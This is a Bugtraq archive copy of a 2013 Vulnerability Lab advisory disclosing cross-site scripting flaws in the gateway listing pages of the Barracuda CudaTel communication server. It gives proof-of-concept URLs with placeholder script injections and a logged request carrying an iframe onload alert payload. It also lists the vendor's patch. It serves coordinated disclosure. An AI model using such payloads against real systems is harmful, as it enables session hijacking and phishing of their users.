Bugtraq mailing list archives

Barracuda CudaTel 2.6.02.04 - Multiple Web Vulnerabilities


From: Vulnerability Lab <research () vulnerability-lab com>
Date: Fri, 28 Jun 2013 00:50:49 +0100

Title:
======
Barracuda CudaTel 2.6.02.04 - Multiple Web Vulnerabilities


Date:
=====
2013-06-25


References:
===========
http://vulnerability-lab.com/get_content.php?id=778

BARRACUDA NETWORK SECURITY ID: BNSEC-811


VL-ID:
=====
778


Common Vulnerability Scoring System:
====================================
2.5


Introduction:
=============
Designed to enable seamless voice and video communication, the CudaTel Communication Server is an easy-to-use, 
affordable, next-generation phone system for businesses. CudaTel Communication Server s enterprise-class 
feature set includes Voice over IP (VoIP) PBX services, conferencing, follow-me, automated attendant services, 
and more, controlled by an easy-to-use Web interface. CudaTel Communication Server is compatible with any SIP 
device and provider, and can be pre-configured for use with both analog and digital telephone networks. Powerful, 
Complete Solution With an expansive feature set and and no per user or phone licensing fees, the CudaTel 
Communication Server is equipped and priced for organizations of any size. Native High Definition audio support 
and integrated phone line (TDM) hardware produces an unparalleled audio experience. VOIP encryption protects calls 
from hackers and digital eavesdroppers.

(Copy of the Vendor Homepage: http://www.barracudanetworks.ca/cudatel.aspx )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple client side vulnerabilities in the Barracuda Networks 
CudaTel v2.6.002.040 appliance application.


Report-Timeline:
================
2012-11-27:     Researcher Notification & Coordination (Benjamin Kunz Mejri)
2012-11-28:     Vendor Notification (Barracuda Networks Security - Bug Bounty Program)
2012-12-01:     Vendor Response/Feedback (Barracuda Networks Security - Bug Bounty Program)
2013-03-14:     Vendor Fix/Patch (Barracuda Networks Developer) [Coordination: Dave Farrow]
2012-06-25:     Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
Barracuda Networks
Product: CudaTel - Communication Server 2.6.002.040


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple client side input validation vulnerabilities are detected  in the Barracuda Networks CudaTel v2.6.002.040 
appliance application.
The non-persistent vulnerabilities allows an attacker (remote) to manipulate client side application to browser 
requests.

The vulnerability (client side) is located in the siplist and list module when processing to request manipulated 
bbx_provider_gateway_name, 
bbx_provider_gateway_username or bbx_provider_gateway_host parameter listing. 

Exploitation of the vulnerability requires medium application user interaction. Successful exploitation of the 
vulnerability results in 
client side phishing, client side session hijacking, client side external redirects to malware or evil websites and 
client side module 
context manipulation(cache). 


Vulnerable Module(s):
                                [+] siplist - Listing
                                [+] list - Listing

Vulnerable Parameter(s):
                                [+] bbx_provider_gateway_name
                                [+] bbx_provider_gateway_username
                                [+] bbx_provider_gateway_host


Proof of Concept:
=================
The client side input validation vulnerabilities can be exploited by remote attackers without required application user 
account and with 
medium or high required user interaction. For demonstration or reproduce ...

Path: 
gui/gateway/siplist
gui/gateway/list


Parameter: 
undefined, bbx_provider, rows, page & searchstring

Values: 
bbx_provider_gateway_name,  bbx_provider_gateway_username & bbx_provider_gateway_host

Review: List

<pre>--- 
count: 1
list: 
  - 
    
bbx_domain_id: 6
bbx_extension_block_begin: 2008
bbx_extension_block_end: 2008
bbx_extension_id: 26
bbx_extension_id_primary: 26
bbx_extension_rcd: 2012-11-26 15:58:45.413912
bbx_extension_rpd: 2012-11-26 15:58:45.413912
bbx_extension_value: 2008
bbx_queue_id: 12
flag_auto_provision: 0
flag_external: 0
flag_locked: 0
flag_primary: 1
flag_standalone: 1
flag_super: 0
flag_voicemail: 0&#8203;&#8203;&#8203;&#8203;&#8203;
show_name: "\"><[PERSISTENT INJECTED SCRIPT CODE!]>"
sort_name: "\"><[PERSISTENT INJECTED SCRIPT CODE!]>"&#8203;&#8203;&#8203;&#8203;&#8203;
type: queue
page: 1
rows: 25
</pre>



Review: SipList

<pre>--- 
count: 4

page: 1
rows: 30

siplist: 
  - 
    
bbx_provider_gateway_flag_inbound: 1
bbx_provider_gateway_flag_outbound: 1
bbx_provider_gateway_host: 
&#8203;&#8203;&#8203;&#8203;&#8203;"\">/\"/'\"&#8203;&#8203;&#8203;&#8203;&#8203;<[PERSISTENT INJECTED SCRIPT CODE!]>"
bbx_provider_gateway_id: 22
bbx_provider_gateway_name: "\"><[PERSISTENT INJECTED SCRIPT CODE!]>"
bbx_provider_gateway_port: 5060
bbx_provider_gateway_state: REFRESH
bbx_provider_gateway_username: "\">/\"/'\"<[PERSISTENT INJECTED SCRIPT CODE!]>"
bbx_provider_name: Generic SIP
  - 
bbx_provider_gateway_flag_inbound: 1
bbx_provider_gateway_flag_outbound: 1
bbx_provider_gateway_host: <[PERSISTENT INJECTED SCRIPT CODE!]")< 
bbx_provider_gateway_id:="" 23="" 
bbx_provider_gateway_name:="" <[PERSISTENT INJECTED SCRIPT CODE!];)" 
<="" <iframe="">%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]") <
bbx_provider_gateway_port: <[PERSISTENT INJECTED SCRIPT CODE!]")<
bbx_provider_gateway_state: NOREG
bbx_provider_gateway_username: <[PERSISTENT INJECTED SCRIPT CODE!]")<
bbx_provider_name: PSTN Gateway
  - 
bbx_provider_gateway_flag_inbound: 1
bbx_provider_gateway_flag_outbound: 1
bbx_provider_gateway_host: "\"<h1>test</h1>"
bbx_provider_gateway_id: 21
bbx_provider_gateway_name: \\"<[PERSISTENT INJECTED SCRIPT CODE!]>
bbx_provider_gateway_port: 5060
bbx_provider_gateway_state: ~
bbx_provider_gateway_username: "\"<[PERSISTENT INJECTED SCRIPT CODE!]>"
bbx_provider_name: Generic SIP
  - 
bbx_provider_gateway_flag_inbound: 1
bbx_provider_gateway_flag_outbound: 1
bbx_provider_gateway_host: test.com
bbx_provider_gateway_id: 20
bbx_provider_gateway_name: test
bbx_provider_gateway_port: 5060
bbx_provider_gateway_state: NOREG
bbx_provider_gateway_username: test
bbx_provider_name: Generic SIP
</pre></body></html></iframe></[PERSISTENT INJECTED SCRIPT CODE!]")<></iframesrc=a></pre>


PoC:

http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=%3E%22%3C%3C[PERSISTENT INJECTED SCRIPT 
CODE!]%20%3C&rows=10&page=1&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=


http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=&rows=%3E%22%3C%3C[PERSISTENT INJECTED SCRIPT 
CODE!]%20%3C&page=1&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=


http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=&rows=10&page=%3E%22%3C%3C[PERSISTENT INJECTED SCRIPT 
CODE!]%20%3C&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=


http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=&rows=10&page=1&sortby=bbx_provider_gateway_name=%3C[PERSISTENT INJECTED SCRIPT 
CODE!]&sortorder=asc&searchstring=


http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=&rows=10&page=1&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=%3C[PERSISTENT 
INJECTED SCRIPT CODE!]

http://cudatel.ptest.cudasvc.com/gui/gateway/list?
_=1354065786075&undefined=%3E%22%3C%3C[PERSISTENT INJECTED SCRIPT 
CODE!]%20%3C&rows=10&page=1&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=


http://cudatel.ptest.cudasvc.com/gui/gateway/list?
_=1354065786075&undefined=&rows=10&page=1&sortby=bbx_provider_gateway_name=[PERSISTENT INJECTED SCRIPT 
CODE!]%20%3C&sortorder=asc&searchstring=


ALL:
cudatel.ptest.cudasvc.com/gui/gateway/siplist?_=1354065786075&undefined=<[PERSISTENT INJECTED SCRIPT CODE!]<&rows=
<[PERSISTENT INJECTED SCRIPT CODE!]<&page=<[PERSISTENT INJECTED SCRIPT 
CODE!]<&sortby=bbx_provider_gateway_name=<[PERSISTENT INJECTED SCRIPT CODE!]<

cudatel.ptest.cudasvc.com/gui/gateway/list?_=1354065786075&undefined=<[PERSISTENT INJECTED SCRIPT CODE!]<&rows=
<[PERSISTENT INJECTED SCRIPT CODE!]<&page=<[PERSISTENT INJECTED SCRIPT 
CODE!]<&sortby=bbx_provider_gateway_name=<[PERSISTENT INJECTED SCRIPT CODE!]<


Request(s):

2:30:07.550[851ms][total 9418ms] Status: 200[OK]
GET http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?_=1354065786075&undefined=%3Ciframe%20src=a%3E
%20%20%20%20%22%3E%3Ciframe%20src=a%20onload=alert(%22VL%22)%20%3C&rows=%3Ciframe%20src=a%3E%20%20%20%20%22%3E%3Ciframe%20src=
a%20onload=alert(%22VL%22)%20%3C
&page=%3Ciframe%20src=a%3E%20%20%20%20%22%3E%3Ciframe%20src=a%20onload=alert(%22VL%22)%20%3C&sortby=bbx_provider_gateway_name=
%3Ciframe%20src=a%3E%20%20%20%20
%22%3E%3Ciframe%20src=a%20onload=alert(%22VL%22)%20%3C&sortorder=asc&searchstring=%3Ciframe%20src=a%3E%20%20%20%20%22%3E%3Ciframe
%20src=a%20onload=alert(%22VL
%22)%20%3C Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[1833] Mime Type[text/html]
   Request Header:
      Host
[cudatel.ptest.cudasvc.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/17.0 Firefox/17.0]
      Accept[text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      
Connection[keep-alive]
      Cookie[cookietest=1; bps_session=86bd13e59f90e0f8670a547c0d0ce57e710393d6]
   Response Header:
      Date[Wed, 28 Nov 2012 01:30:08 GMT]

Server[BarracudaHTTP 2.0/2.2.10 (Unix) mod_auth_pgsql/2.0.3 mod_fastcgi/mod_fastcgi-SNAP-0811090952 mod_ssl/2.2.10 
OpenSSL/0.9.8x mod_perl/2.0.2 Perl/v5.8.8]

Vary[Content-Type]
      Set-Cookie[bps_session=86bd13e59f90e0f8670a547c0d0ce57e710393d6; path=/]
      Content-Length[1833]
      Cache-Control[must-revalidate]

Expires[Thu, 28 Nov 2013 01:30:08 GMT]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Content-Type[text/html]


Reference(s):
cudatel.ptest.cudasvc.com/gui/gateway/siplist
cudatel.ptest.cudasvc.com/gui/gateway/list


Solution:
=========
2013-03-14:     Vendor Fix/Patch (Barracuda Networks Developer) [Coordination: Dave Farrow]

Note: The upgrade is available to all customer of the appliance module and can be done automatic or manually in the 
customer center of barracuda networks.


Risk:
=====
The security risk of the (multiple) client side input validation vulnerabilities in the siplist and list module are 
estimated as medium.


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm () vulnerability-lab com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - 
www.vulnerability-lab.com/register
Contact:    admin () vulnerability-lab com      - support () vulnerability-lab com             - research () 
vulnerability-lab com
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com                  - 
news.vulnerability-lab.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - 
vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the 
use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, 
videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, 
list (feed), 
modify, use or edit our material contact (admin () vulnerability-lab com or support () vulnerability-lab com) to get a 
permission.

                                        Copyright © 2013 | Vulnerability Laboratory



-- 
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research () vulnerability-lab com



Current thread: